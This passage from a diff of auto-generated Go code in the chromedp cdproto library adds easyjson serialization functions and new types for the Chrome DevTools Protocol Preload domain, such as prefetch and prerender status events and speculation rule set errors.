easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(in *jlexer.Lexer, out *EnableParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload5(in *jlexer.Lexer, out *EventPrerenderStatusUpdated) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "key":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Key = nil
|
||||
} else {
|
||||
if out.Key == nil {
|
||||
out.Key = new(IngAttemptKey)
|
||||
}
|
||||
(*out.Key).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "status":
|
||||
(out.Status).UnmarshalEasyJSON(in)
|
||||
case "prerenderStatus":
|
||||
(out.PrerenderStatus).UnmarshalEasyJSON(in)
|
||||
case "disallowedMojoInterface":
|
||||
out.DisallowedMojoInterface = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload5(out *jwriter.Writer, in EventPrerenderStatusUpdated) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"key\":"
|
||||
out.RawString(prefix[1:])
|
||||
if in.Key == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*in.Key).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"status\":"
|
||||
out.RawString(prefix)
|
||||
(in.Status).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.PrerenderStatus != "" {
|
||||
const prefix string = ",\"prerenderStatus\":"
|
||||
out.RawString(prefix)
|
||||
(in.PrerenderStatus).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.DisallowedMojoInterface != "" {
|
||||
const prefix string = ",\"disallowedMojoInterface\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.DisallowedMojoInterface))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventPrerenderStatusUpdated) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload5(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventPrerenderStatusUpdated) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload5(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventPrerenderStatusUpdated) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload5(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventPrerenderStatusUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload5(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload6(in *jlexer.Lexer, out *EventPreloadingAttemptSourcesUpdated) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "loaderId":
|
||||
out.LoaderID = cdp.LoaderID(in.String())
|
||||
case "preloadingAttemptSources":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.PreloadingAttemptSources = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.PreloadingAttemptSources == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.PreloadingAttemptSources = make([]*IngAttemptSource, 0, 8)
|
||||
} else {
|
||||
out.PreloadingAttemptSources = []*IngAttemptSource{}
|
||||
}
|
||||
} else {
|
||||
out.PreloadingAttemptSources = (out.PreloadingAttemptSources)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v7 *IngAttemptSource
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
v7 = nil
|
||||
} else {
|
||||
if v7 == nil {
|
||||
v7 = new(IngAttemptSource)
|
||||
}
|
||||
(*v7).UnmarshalEasyJSON(in)
|
||||
}
|
||||
out.PreloadingAttemptSources = append(out.PreloadingAttemptSources, v7)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload6(out *jwriter.Writer, in EventPreloadingAttemptSourcesUpdated) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"loaderId\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.LoaderID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"preloadingAttemptSources\":"
|
||||
out.RawString(prefix)
|
||||
if in.PreloadingAttemptSources == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
out.RawByte('[')
|
||||
for v8, v9 := range in.PreloadingAttemptSources {
|
||||
if v8 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
if v9 == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*v9).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventPreloadingAttemptSourcesUpdated) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload6(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventPreloadingAttemptSourcesUpdated) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload6(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventPreloadingAttemptSourcesUpdated) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload6(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventPreloadingAttemptSourcesUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload6(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload7(in *jlexer.Lexer, out *EventPreloadEnabledStateUpdated) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "disabledByPreference":
|
||||
out.DisabledByPreference = bool(in.Bool())
|
||||
case "disabledByDataSaver":
|
||||
out.DisabledByDataSaver = bool(in.Bool())
|
||||
case "disabledByBatterySaver":
|
||||
out.DisabledByBatterySaver = bool(in.Bool())
|
||||
case "disabledByHoldbackPrefetchSpeculationRules":
|
||||
out.DisabledByHoldbackPrefetchSpeculationRules = bool(in.Bool())
|
||||
case "disabledByHoldbackPrerenderSpeculationRules":
|
||||
out.DisabledByHoldbackPrerenderSpeculationRules = bool(in.Bool())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload7(out *jwriter.Writer, in EventPreloadEnabledStateUpdated) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"disabledByPreference\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.Bool(bool(in.DisabledByPreference))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"disabledByDataSaver\":"
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.DisabledByDataSaver))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"disabledByBatterySaver\":"
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.DisabledByBatterySaver))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"disabledByHoldbackPrefetchSpeculationRules\":"
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.DisabledByHoldbackPrefetchSpeculationRules))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"disabledByHoldbackPrerenderSpeculationRules\":"
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.DisabledByHoldbackPrerenderSpeculationRules))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventPreloadEnabledStateUpdated) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload7(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventPreloadEnabledStateUpdated) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload7(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventPreloadEnabledStateUpdated) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload7(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventPreloadEnabledStateUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload7(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload8(in *jlexer.Lexer, out *EventPrefetchStatusUpdated) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "key":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Key = nil
|
||||
} else {
|
||||
if out.Key == nil {
|
||||
out.Key = new(IngAttemptKey)
|
||||
}
|
||||
(*out.Key).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "initiatingFrameId":
|
||||
(out.InitiatingFrameID).UnmarshalEasyJSON(in)
|
||||
case "prefetchUrl":
|
||||
out.PrefetchURL = string(in.String())
|
||||
case "status":
|
||||
(out.Status).UnmarshalEasyJSON(in)
|
||||
case "prefetchStatus":
|
||||
(out.PrefetchStatus).UnmarshalEasyJSON(in)
|
||||
case "requestId":
|
||||
out.RequestID = network.RequestID(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload8(out *jwriter.Writer, in EventPrefetchStatusUpdated) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"key\":"
|
||||
out.RawString(prefix[1:])
|
||||
if in.Key == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*in.Key).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"initiatingFrameId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.InitiatingFrameID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"prefetchUrl\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.PrefetchURL))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"status\":"
|
||||
out.RawString(prefix)
|
||||
(in.Status).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"prefetchStatus\":"
|
||||
out.RawString(prefix)
|
||||
(in.PrefetchStatus).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"requestId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.RequestID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventPrefetchStatusUpdated) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload8(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventPrefetchStatusUpdated) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload8(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventPrefetchStatusUpdated) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload8(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventPrefetchStatusUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload8(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload9(in *jlexer.Lexer, out *EnableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -271,7 +966,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(in *jlexer.Lexer, ou
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(out *jwriter.Writer, in EnableParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload9(out *jwriter.Writer, in EnableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -281,27 +976,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(out *jwriter.Writer,
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EnableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload9(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload9(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload9(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload9(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(in *jlexer.Lexer, out *DisableParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload10(in *jlexer.Lexer, out *DisableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -330,7 +1025,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(in *jlexer.Lexer, ou
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(out *jwriter.Writer, in DisableParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload10(out *jwriter.Writer, in DisableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -340,23 +1035,23 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(out *jwriter.Writer,
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DisableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload10(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload10(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload10(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload10(l, v)
|
||||
}
|
||||
+48
@@ -2,6 +2,11 @@ package preload
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
)
|
||||
|
||||
// EventRuleSetUpdated upsert. Currently, it is only emitted when a rule set
|
||||
// added.
|
||||
//
|
||||
@@ -16,3 +21,46 @@ type EventRuleSetUpdated struct {
|
||||
type EventRuleSetRemoved struct {
|
||||
ID RuleSetID `json:"id"`
|
||||
}
|
||||
|
||||
// EventPreloadEnabledStateUpdated fired when a preload enabled state is
|
||||
// updated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#event-preloadEnabledStateUpdated
|
||||
type EventPreloadEnabledStateUpdated struct {
|
||||
DisabledByPreference bool `json:"disabledByPreference"`
|
||||
DisabledByDataSaver bool `json:"disabledByDataSaver"`
|
||||
DisabledByBatterySaver bool `json:"disabledByBatterySaver"`
|
||||
DisabledByHoldbackPrefetchSpeculationRules bool `json:"disabledByHoldbackPrefetchSpeculationRules"`
|
||||
DisabledByHoldbackPrerenderSpeculationRules bool `json:"disabledByHoldbackPrerenderSpeculationRules"`
|
||||
}
|
||||
|
||||
// EventPrefetchStatusUpdated fired when a prefetch attempt is updated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#event-prefetchStatusUpdated
|
||||
type EventPrefetchStatusUpdated struct {
|
||||
Key *IngAttemptKey `json:"key"`
|
||||
InitiatingFrameID cdp.FrameID `json:"initiatingFrameId"` // The frame id of the frame initiating prefetch.
|
||||
PrefetchURL string `json:"prefetchUrl"`
|
||||
Status IngStatus `json:"status"`
|
||||
PrefetchStatus PrefetchStatus `json:"prefetchStatus"`
|
||||
RequestID network.RequestID `json:"requestId"`
|
||||
}
|
||||
|
||||
// EventPrerenderStatusUpdated fired when a prerender attempt is updated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#event-prerenderStatusUpdated
|
||||
type EventPrerenderStatusUpdated struct {
|
||||
Key *IngAttemptKey `json:"key"`
|
||||
Status IngStatus `json:"status"`
|
||||
PrerenderStatus PrerenderFinalStatus `json:"prerenderStatus,omitempty"`
|
||||
DisallowedMojoInterface string `json:"disallowedMojoInterface,omitempty"` // This is used to give users more information about the name of Mojo interface that is incompatible with prerender and has caused the cancellation of the attempt.
|
||||
}
|
||||
|
||||
// EventPreloadingAttemptSourcesUpdated send a list of sources for all
|
||||
// preloading attempts in a document.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#event-preloadingAttemptSourcesUpdated
|
||||
type EventPreloadingAttemptSourcesUpdated struct {
|
||||
LoaderID cdp.LoaderID `json:"loaderId"`
|
||||
PreloadingAttemptSources []*IngAttemptSource `json:"preloadingAttemptSources"`
|
||||
}
|
||||
+601
-3
@@ -3,7 +3,13 @@ package preload
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// RuleSetID unique id.
|
||||
@@ -20,7 +26,599 @@ func (t RuleSetID) String() string {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-RuleSet
|
||||
type RuleSet struct {
|
||||
ID RuleSetID `json:"id"`
|
||||
LoaderID cdp.LoaderID `json:"loaderId"` // Identifies a document which the rule set is associated with.
|
||||
SourceText string `json:"sourceText"` // Source text of JSON representing the rule set. If it comes from <script> tag, it is the textContent of the node. Note that it is a JSON for valid case. See also: - https://wicg.github.io/nav-speculation/speculation-rules.html - https://github.com/WICG/nav-speculation/blob/main/triggers.md
|
||||
ID RuleSetID `json:"id"`
|
||||
LoaderID cdp.LoaderID `json:"loaderId"` // Identifies a document which the rule set is associated with.
|
||||
SourceText string `json:"sourceText"` // Source text of JSON representing the rule set. If it comes from <script> tag, it is the textContent of the node. Note that it is a JSON for valid case. See also: - https://wicg.github.io/nav-speculation/speculation-rules.html - https://github.com/WICG/nav-speculation/blob/main/triggers.md
|
||||
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // A speculation rule set is either added through an inline <script> tag or through an external resource via the 'Speculation-Rules' HTTP header. For the first case, we include the BackendNodeId of the relevant <script> tag. For the second case, we include the external URL where the rule set was loaded from, and also RequestId if Network domain is enabled. See also: - https://wicg.github.io/nav-speculation/speculation-rules.html#speculation-rules-script - https://wicg.github.io/nav-speculation/speculation-rules.html#speculation-rules-header
|
||||
URL string `json:"url,omitempty"`
|
||||
RequestID network.RequestID `json:"requestId,omitempty"`
|
||||
ErrorType RuleSetErrorType `json:"errorType,omitempty"` // Error information errorMessage is null iff errorType is null.
|
||||
}
|
||||
|
||||
// RuleSetErrorType [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-RuleSetErrorType
|
||||
type RuleSetErrorType string
|
||||
|
||||
// String returns the RuleSetErrorType as string value.
|
||||
func (t RuleSetErrorType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// RuleSetErrorType values.
|
||||
const (
|
||||
RuleSetErrorTypeSourceIsNotJSONObject RuleSetErrorType = "SourceIsNotJsonObject"
|
||||
RuleSetErrorTypeInvalidRulesSkipped RuleSetErrorType = "InvalidRulesSkipped"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t RuleSetErrorType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t RuleSetErrorType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *RuleSetErrorType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch RuleSetErrorType(v) {
|
||||
case RuleSetErrorTypeSourceIsNotJSONObject:
|
||||
*t = RuleSetErrorTypeSourceIsNotJSONObject
|
||||
case RuleSetErrorTypeInvalidRulesSkipped:
|
||||
*t = RuleSetErrorTypeInvalidRulesSkipped
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown RuleSetErrorType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *RuleSetErrorType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// SpeculationAction the type of preloading attempted. It corresponds to
|
||||
// mojom::SpeculationAction (although PrefetchWithSubresources is omitted as it
|
||||
// isn't being used by clients).
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-SpeculationAction
|
||||
type SpeculationAction string
|
||||
|
||||
// String returns the SpeculationAction as string value.
|
||||
func (t SpeculationAction) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// SpeculationAction values.
|
||||
const (
|
||||
SpeculationActionPrefetch SpeculationAction = "Prefetch"
|
||||
SpeculationActionPrerender SpeculationAction = "Prerender"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t SpeculationAction) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t SpeculationAction) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SpeculationAction) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SpeculationAction(v) {
|
||||
case SpeculationActionPrefetch:
|
||||
*t = SpeculationActionPrefetch
|
||||
case SpeculationActionPrerender:
|
||||
*t = SpeculationActionPrerender
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SpeculationAction value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *SpeculationAction) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// SpeculationTargetHint corresponds to mojom::SpeculationTargetHint. See
|
||||
// https://github.com/WICG/nav-speculation/blob/main/triggers.md#window-name-targeting-hints.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-SpeculationTargetHint
|
||||
type SpeculationTargetHint string
|
||||
|
||||
// String returns the SpeculationTargetHint as string value.
|
||||
func (t SpeculationTargetHint) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// SpeculationTargetHint values.
|
||||
const (
|
||||
SpeculationTargetHintBlank SpeculationTargetHint = "Blank"
|
||||
SpeculationTargetHintSelf SpeculationTargetHint = "Self"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
